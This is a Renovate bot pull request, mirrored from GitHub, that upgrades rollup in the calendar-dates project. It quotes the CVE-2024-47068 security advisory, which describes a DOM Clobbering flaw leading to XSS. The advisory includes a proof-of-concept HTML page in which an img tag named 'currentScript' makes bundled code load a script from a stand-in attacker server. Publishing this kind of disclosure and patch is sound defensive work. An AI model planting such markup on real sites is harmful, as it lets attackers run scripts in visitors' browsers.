dance2die / calendar-dates

📆 Get a list of calendar dates with no external dependencies.
https://www.npmjs.com/package/calendar-dates
MIT License
14 stars 3 forks source link

chore(deps): update dependency rollup to v2.79.2 [security] #116

Open renovate[bot] opened 1 month ago

renovate[bot] commented 1 month ago

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
rollup (source) 2.77.0 -> 2.79.2 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2024-47068

Summary

We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use import.meta.url or with plugins that emit and reference asset files from code in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadget found in rollup

We have identified a DOM Clobbering vulnerability in rollup bundled scripts, particularly when the scripts uses import.meta and set output in format of cjs/umd/iife. In such cases, rollup replaces meta property with the URL retrieved from document.currentScript.

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element (e.g., an img tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

PoC

Considering a website that contains the following main.js script, the devloper decides to use the rollup to bundle up the program: rollup main.js --format cjs --file bundle.js.

var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)

The output bundle.js is shown in the following code snippet.

'use strict';

var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);

Adding the rollup bundled script, bundle.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server due to the introduced gadget during bundling. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>rollup Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs, iife, or umd and use import.meta) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.

const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
    getResolveUrl(
        `'${escapeId(relativePath)}', ${
            umd ? `typeof document === 'undefined' ? location.href : ` : ''
        }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
    );
const getUrlFromDocument = (chunkId: string, umd = false) =>
    `${
        umd ? `typeof document === 'undefined' ? location.href : ` : ''
    }(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
        chunkId
    )}', document.baseURI).href)`;

Release Notes

rollup/rollup (rollup) ### [`v2.79.2`](https://redirect.github.com/rollup/rollup/compare/v2.79.1...v2.79.2) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.79.1...v2.79.2) ### [`v2.79.1`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2791) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.79.0...v2.79.1) *2022-09-22* ##### Bug Fixes - Avoid massive performance degradation when creating thousands of chunks ([#​4643](https://redirect.github.com/rollup/rollup/issues/4643)) ##### Pull Requests - [#​4639](https://redirect.github.com/rollup/rollup/pull/4639): fix: typo docs and contributors link in CONTRIBUTING.md ([@​takurinton](https://redirect.github.com/takurinton)) - [#​4641](https://redirect.github.com/rollup/rollup/pull/4641): Update type definition of resolveId ([@​ivanjonas](https://redirect.github.com/ivanjonas)) - [#​4643](https://redirect.github.com/rollup/rollup/pull/4643): Improve performance of chunk naming collision check ([@​lukastaegert](https://redirect.github.com/lukastaegert)) ### [`v2.79.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2790) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.78.1...v2.79.0) *2022-08-31* ##### Features - Add `amd.forceJsExtensionForImports` to enforce using `.js` extensions for relative AMD imports ([#​4607](https://redirect.github.com/rollup/rollup/issues/4607)) ##### Pull Requests - [#​4607](https://redirect.github.com/rollup/rollup/pull/4607): add option to keep extensions for amd ([@​wh1tevs](https://redirect.github.com/wh1tevs)) ### [`v2.78.1`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2781) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.78.0...v2.78.1) *2022-08-19* ##### Bug Fixes - Avoid inferring "arguments" as name for a default export placeholder variable ([#​4613](https://redirect.github.com/rollup/rollup/issues/4613)) ##### Pull Requests - [#​4613](https://redirect.github.com/rollup/rollup/pull/4613): Prevent using arguments for generated variable names ([@​lukastaegert](https://redirect.github.com/lukastaegert)) ### [`v2.78.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2780) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.77.3...v2.78.0) *2022-08-14* ##### Features - Support writing plugin hooks as objects with a "handler" property ([#​4600](https://redirect.github.com/rollup/rollup/issues/4600)) - Allow changing execution order per plugin hook ([#​4600](https://redirect.github.com/rollup/rollup/issues/4600)) - Add flag to execute plugins in async parallel hooks sequentially ([#​4600](https://redirect.github.com/rollup/rollup/issues/4600)) ##### Pull Requests - [#​4600](https://redirect.github.com/rollup/rollup/pull/4600): Allow using objects as hooks to change execution order ([@​lukastaegert](https://redirect.github.com/lukastaegert)) ### [`v2.77.3`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2773) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.77.2...v2.77.3) *2022-08-11* ##### Bug Fixes - Correctly resolve preserveModulesRoot in Vite ([#​4591](https://redirect.github.com/rollup/rollup/issues/4591)) ##### Pull Requests - [#​4591](https://redirect.github.com/rollup/rollup/pull/4591): resolve currentPath ([@​cleverpp](https://redirect.github.com/cleverpp)) ### [`v2.77.2`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2772) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.77.1...v2.77.2) *2022-07-27* ##### Bug Fixes - Avoid a rendering failure when mixing outputs with inlined and non-inlined dynamic imports ([#​4589](https://redirect.github.com/rollup/rollup/issues/4589)) ##### Pull Requests - [#​4589](https://redirect.github.com/rollup/rollup/pull/4589): Handle generating non-inlined imports after inlined ones ([@​lukastaegert](https://redirect.github.com/lukastaegert)) ### [`v2.77.1`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2771) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.77.0...v2.77.1) *2022-07-26* ##### Bug Fixes - Ensure IIFE output generates a global variable when generating ES5 ([#​4588](https://redirect.github.com/rollup/rollup/issues/4588)) ##### Pull Requests - [#​4577](https://redirect.github.com/rollup/rollup/pull/4577): broken link removed ([@​Jawad-H](https://redirect.github.com/Jawad-H)) - [#​4580](https://redirect.github.com/rollup/rollup/pull/4580): Update dependencies ([@​lukastaegert](https://redirect.github.com/lukastaegert)) - [#​4584](https://redirect.github.com/rollup/rollup/pull/4584): Documentation clarity and syntax improvements ([@​berniegp](https://redirect.github.com/berniegp)) - [#​4588](https://redirect.github.com/rollup/rollup/pull/4588): Use var for IIFE ([@​lukastaegert](https://redirect.github.com/lukastaegert))

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.



This PR was generated by Mend Renovate. View the repository job log.

codesandbox[bot] commented 1 month ago

Review or Edit in CodeSandbox

Open the branch in Web EditorVS CodeInsiders
Open Preview